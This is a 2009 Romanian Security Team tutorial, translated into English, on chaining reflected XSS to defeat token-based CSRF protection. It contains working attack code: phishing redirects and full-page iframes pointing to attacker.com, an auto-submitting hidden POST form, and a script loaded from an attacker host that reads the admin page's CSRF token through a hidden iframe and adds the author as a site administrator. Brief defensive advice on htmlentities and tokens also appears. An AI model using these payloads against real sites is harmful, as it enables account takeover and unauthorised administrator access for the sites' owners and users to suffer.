Using XSS to bypass CSRF protection

```
<?php

   // Autor: Nytro
   // Contact: nytro_rst@yahoo.com
   // Translated by: SENEQ_o
   // Published on: 28 Octombrie 2009
   // Romanian Security Team

?>
```

1) About XSS
2) About CSRF
3) Using XSS to bypass CSRF protection

Hello, in this tutorial I will teach you how to use XSS to bypass CSRF protection. If you are familiar to XSS and CSRF terms you can skip the first two chapters, but I recommend you read them.

Warning! This tutorial was written for educational purposes only ,and I take no responsibility for your acts.

About XSS (Cross Site Scripting)

XSS is probably the most common web vulnerability .This vulnerability, affects the client , more precisely the user of the bugged application. It is not so dangerous , but it can lead to many problems .Many websites have this problem , but they don't have to worry because there are little who use the exploit.

The main idea is simple .The web application receives data from the client , usually from the GET function and then displays it .For example:

```
if(isset($_GET['text']))
{
   $var = $_GET['text'];
   print $var;
}
```

For a request such as:

http://www.site.com/script.php?text=test

what will be displayed is *"test"* . But what happens when somebody makes the following request:

http://www.site.com/script.php?text=<script>cod_javascript</script>

Well, the javascript code will be executed . Maybe you're wondering: Why would the attacker run the javascript code using GET (when could just type it in the browser: javascript:code_javascript;). Well, the code is not designed for him. He can use the link:

http://www.site.com/script.php?text=<script>cod_javascript</script>

to send it to someone, to access it , and the javascript code will run on the victim's computer.

Most often, this problem is found in the search box , regardless if the files are send using POST, or send by GET , the return message will be something like: *"*You searched for 'test'*", but if the request is:*

http://www.site.com/script.php?text=<script>cod_javascript</script>

the thing displayed will be: *"You searched for '"* and the javascript code will be ran.

But what can be done with that code, how harmful can it be?
Well, there are plenty of things to do. For example, the popularity behind XSS, is the cookie stealing.

As you all know, having the cookies of a victim which is logged on an website, you can use them to log yourself on that website using the victim account. This can be easily done using a cookie grabber.

A cookie grabber is a PHP file which receives data using GET (it can also receive data using POST) and writes it in a file on the attacker's server. It is necessary that the script runs on the bugged application, because if it runs on other application, document.cookie will not return the cookies we want. But this is not what I planned to

cover in this tutorial, you will find plenty of information about this.

XSS can be also used for phishing, for stealing authentication information from the victim, just as simple:
The attacker offers a link to the victim, such as:

http://www.site.com/script.php?text=<script>document.location.href = "http://www.site-attacker.com/phishing.html"</script>

the victim is redirected to the phishing page(scam page), logs on the page , and the attacker steals the private data. This can also be done using <iframe>. For example:

<iframe src="http://attacker.com/phishing_page_identical_copy_of_the_aplication_page.html" style="z-index: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;"></iframe>

It is very easy, using CSS, we create an iframe which covers all the page.When the user sees that the link is "ok", he logs on.

The problem with this vulnerability is that the link is "ok". So the victim is possible no know if the is a problem or not. Of course, she can figure it out from the query, but it can be encrypted.

Usually, if you want to know if a website is vulnerable, you can use:

<script>alert(1)</script> or "><script>alert(1)</script>

Well, the are many possibilities depending on the browser you use. You can find a big list here: ***http://ha.ckers.org/xss.html***

You can also use XSS to make *"a page cooler", for fun. For example, visit www.alonia.ro and in the search box type:*

<script>document.images[4].src="http://rstcenter.com/up/director/RST.png"</script> .

There are many things that can be done. You will see later, how to bypass CSRF filters.

In order to get rid of this problem, you have to get rid of the <> characters.

To the PHP programmers I recommend htmlspecialchars function (or htmlentities) with the second parameter ENT_QUOTES.Both functions convert ">" to ">" and "<" to "<" , and if you use it with the second parameter ENT_QUOTES, the function will transform in HTML entities even the (") and (').Thereby , for a request such as:

http://site.com/script.php?text=<script>alert('1')</script>

in the source it will be displayed

<script>alert('1')</script>

but the text will be

<script>alert('1')</script>

and you will have no problems whatsoever. I also recommend using the second parameter , because it can release you from many problems.

The code should look something like this:

```
if(isset($_GET['text']))
{
  $var= $_GET['text'];
  print htmlentities($var, ENT_QUOTES);
  // Or print htmlspecialchars($var, ENT_QUOTES);
}
```

You may ask yourself if a XSS can be exploited , and if the data is send using POST. The answer is yes and no. If the data is send using POST, the victim can not be directly attacked , it can't just click on the link and that's all, so we can say the XSS can't be exploited. But the victim can access an random page made by the attacker , and that page will send the malicious code using POST to the vulnerable Web application page. For example:

```
<form style="display: none;" method="post" action="http://www.alonia.ro/search">
<input type="hidden" name="searchStr" value="<script>alert(1)</script>" />
```

```
<input name="send" type="submit" id="send" />
</form>
<script>
document.forms[0].send.click();
</script>
```

The idea is simple: we create an form as the one of the bugged application (make sure the name of the fields are the same) and we practically automate a search, we practically put into effect that query, thereby sending data through POST, so the victim is redirected towards our page, and the javascript code is executed.

About CSRF (Cross Site Request Forgery)

CSRF is a common vulnerability because little know about it. It effects the client just as the XSS, more precisely, both XSS and CSRF target the users of Web applications.

What makes this vulnerability possible is the automation of an action, this action being made in general by the application administrators. For this type of vulnerability, the victims are authenticated users of the application , and CSRF lets them automate some actions that they can do.

For example , an administrator , in the administration panel , he has a page were he can delete an article , just by clicking on a link. For example:

http://www.site.com/admin/delete_articol?articol_id=123

The attacker can make a page in which he can put the following code:

```
<iframe
src="http://www.site.com/admin/delete_articol?articol_id=123" width="0"
height="0"></iframe>
```

When the victim ,in our case the administrator visits this webpage ,he will make a request to

http://www.site.com/admin/delete_articol?articol_id=123

without knowing , and he will delete the article with his database id. Of course , the id can be sent using POST, from an form , but the attacker can copy that form and can send that data using javascript:

```
document.forms[0].trimite.click();
```

This is the main idea. It is very easy for an application to be protected by this problem, and we can enumerate some methods. The most used method, and a very good one, is using tokens, some strings which can be generated randomly and which are kept in sessions, at the time we log in.

```
if(isset($_POST['login']))
{
   // Check login
   $_SESSTION['token'] = Random();
}
```

I use this function, it has some flaws, but it does what I what it to do, and I can specify what characters I want in the token and it's length.

```
function Random()
{
   $chars =
array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','
Z','a
','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','
6','
7','8','9');
   shuffle($chars);
   $sir = substr(implode('', $chars), 0, 10);
   return $sir;
}
```

We can use these tokens for verifying if a request is truly used by the person itself and not by the CSRF.I should better give an example. For example, when deleting a file, when we create the download link, we add this token:

```
print '<a href="admin.php?action=delete_articol&articol_id' . $date['id'] . '&token=' .
$_SESSION['token'] . '">Delete</a>';
```

Therefore, the link for the delete will be something like:

http://www.site.com/admin.php?action=delete_articol&articol_id=123&token=qdY4f6FTpO

All we need to verify before the action , in our case for deleting the article ,is if the token is equal to the one from the session:

```
if(isset($_GET['delete_articol']))
{
  if($_SESSION['token'] == $_GET['token'])
  {
    // delete_specified_article();
  }
  else print 'The token does not match, you may be a victim on CSRF';
}
```

Thereby, the attacker will never know this token and he will not be able to create a valide link to delete the article. Other methods, safer but more ″time consuming″ would be to ask for users/administrator password for every important action , or to add a CAPTCHA image and verify the text entered by the user.

3) Using XSS for bypassing CSRF protection

Well, now we go to the important part, how to use XSS to bypass CSRF protection. This technique applies to those websites, who have an application guarded by CSRF, and another page which is vulnerable to XSS. Using that XSS we can bypass the CSRF protection and we can automate any action that anybody can do on the application without problems.

For example, one website has a little application on the main page which is vulnerable to XSS, and a forum on /forum which is not vulnerable to CSRF. We will se how we can use that XSS to bypass CSRF protection of the forum. As I said earlier, there are many methods to prevent CSRF, but the most used is that of tokens and hidden fields (`<input type="hidden" name="token" value="<?php print $_SESSION['token']; ?>" />`) which are verified before the action is executed. We will try to pass this type of protection, so as we have time to do what we really want.

Lets start with the base idea, how to pass CSRF protection, because we do not

know the that token. The solution is piece of cake, we find it, and we can do this very easily using javascript. Let's take an example, adding a new administrator depending on the name of the user who will become administrator. This will happen in the folder /admin which is not vulnerable to CSRF:

/admin/admin.php?action=add_admin (for example...):

```
<form method="get" action="add_admin.php">
Name: <input type="text" name="name" value="" /><br />
<input type="hidden" name="token" value="<?php print $_SESSION['token']; ?>" />
<input type="submit" name="submit" value="add admin" /><br />
</form>
```

Well, this script adds an administrator. When the button is clicked the main admin will make a request such as:

http://www.site.com/add_admin.php?name=Nytro&token=1htFI0iA9s&submit

When verifying,the token from the session will be the same with the one send from the form , and nitro will be an administrator.

```
<?php

session_start();
if(isset($_GET['submit']))
{
   if($_SESSION['token'] == $_GET['token'])
   {
      // we_make_nytro_admin();
      print 'Nytro is now an admin.';
   }
   else print 'Token invalid _|_ :)';
}

?>
```

Now let's see what we can do to obtain that token. I will use as a method the GET function, in examples, so as to be easier to understand, but you could apply as well the POST function for data being sent.

We will consider on the main page (index.php), the vulnerable application which contains the following code:

index.php:

```
<?php

if(isset($_GET['name']))
{
   print 'Hello, ' . $_GET['name'];
}

?>
```

To simplify things, we won't write our javascript code directly in the request , instead we will write it in a .js file which we will consider uploaded on:

http://www.attacker.com/script.js

In request we will use:

http://www.site_vulnerabil.com/index.php?nume=<script src="http://www.atacator.com/script.js"></script>

So lets see how we can find out the token using javascript. Very easy! We will use a simple <iframe> in which we will open the page from which the CSRF request is being made (***/admin/admin.php?action=add_admin)***and we will read it. Then we will want the link and we will redirect the victim (administrator) towards it,or we will write it in an <iframe>.

Lets do it.

Firstly, from our javascript code we will have to create our iframe, which will open the administration page. Will put everything in a function which we will call at the onload event of the iframe so as to be sure that the page loaded .

```
document.writeln('<iframe id="iframe" src="/admin/admin.php?action=add_admin"
width="0" height="0" onload="read()"></iframe>');
```

Then we are going to write read() function which reads the token, and displays it in an alert.

```
function read()
{
   alert(document.getElementById("iframe").contentDocument.forms[0].token.value);
}
```

Thereby, we are going to use a request such as:

http://www.vulnerable_website.com/index.php?name=<script src="http://www.attacker.com/script.js"></script>

where

http://www.attacker.com/script.js

is:

```
document.writeln('<iframe id="iframe" src="/admin/admin.php?action=add_admin" width="0" height="0" onload="read()"></iframe>');

function read()
{
   alert(document.getElementById("iframe").contentDocument.forms[0].token.value);
}
```

There should be an alert with the token we want. All we have to do is to create an link with that token and redirect the user towards it.We will modify the read() function for this:

```
document.writeln('<iframe id="iframe" src="/admin/admin.php?action=add_admin" width="0" height="0" onload="read()"></iframe>');

function read()
{
   var name = 'Nytro';
   var token =
```

```
document.getElementById("iframe").contentDocument.forms[0].token.value;
  document.location.href = 'http://127.0.0.1/admin/add_admin.php?name=' + name +
'&token=' + token + '&submit';
}
```

Thereby, if the victim makes a request to:

http://site_victim.com/index.php?name=<script src="http://127.0.0.1/script.js></script>

it will be redirected to:

http://site_victim.com/admin/add_admin.php?name=Nytro&token=aH52G7jtC3&submit

for example, and Nytro will be admin. In order the victim not to realize he was victim to such an attack we put everything in the iframe

```
<iframe src='http://site_victim.com/index.php?name=<script
src="http://127.0.0.1/script.js"></script>' width="300" height="300"></iframe>
```

Well this was the base idea. Things can complicate a lot. We can use XSS to obtain administrator rights on a vBulletin or phpBB forum , but things are becoming complicated, if we would need to send the data 2 times using POST we should use an iframe in a iframe and so on,so is no use to make it complicated, but keep in mind that it is possible. Also, usually the data will have to be sent using POST.No problem! Just read the token as we read it earlier and create an form as the one of the page protected by CSRF.In our example , instead of redirecting we will modify the our script this way:

```
document.writeln('<iframe id="iframe" src="/admin/admin.php?action=add_admin"
width="0" height="0" onload="read()"></iframe>');

function read()
{
  var name = 'Nytro';
  var token =
document.getElementById("iframe").contentDocument.forms[0].token.value;
  document.writeln('<form width="0" height="0" method="post"
action="/admin/add_admin.php">');
  document.writeln('<input type="text" name="name" value="' + name + '" /><br />');
```

```
  document.writeln('<input type="hidden" name="token" value="' + token + '" />');
  document.writeln('<input type="submit" name="submit" value="Add_admin" /><br
/>');
  document.writeln('</form>');
  document.forms[0].submit.click();
}
```

Be careful at the forms, at actions and inputs from the forms. It is a little tricky using POST but it is possible. Now you may want to try putting on the iframe another page such as http://www.google.ro , or another website and do the same. Well it no possible because of the browser, it won't let you, you will get *"Permission denied"*. It won't allow access through a frame (or anything else) to a page from another server ,because on security measures (taken by Netscape a long time ago: 'data contamination') .

Maybe it is complicated to create links or generating forms… Actually you can do this much easier. Even though it won't work on all browsers, contentDocument can be read only, on Mozilla it is not. How can it be easier? Create an iframe with the page that is protected by CSRF, write the wanted name in form an press click on submit button. So, our script, it doesn't matter if the data will be sent by GET or by POST , it will look like this:

```
document.writeln('<iframe id="iframe" src="/admin/admin.php?actiune=add_admin"
width="0" height="0" onload="read()"></iframe>');

function read()
{
  var name = 'Nytro';
  document.getElementById("iframe").contentDocument.forms[0].name.value = name;
// write name
  document.getElementById("iframe").contentDocument.forms[0].submit.click(); //
Press click
}
```

What can be easier then this?

This was all , I hope you understand , and I hope you don't apply what you learned .I repeat :I wrote this tutorial for educational purpose only. If you have questions, suggestions or if you found flaws contact me.

Have a good day!

Nytro @ Romanian Security Team [*http://www.rstcenter.com/forum/*]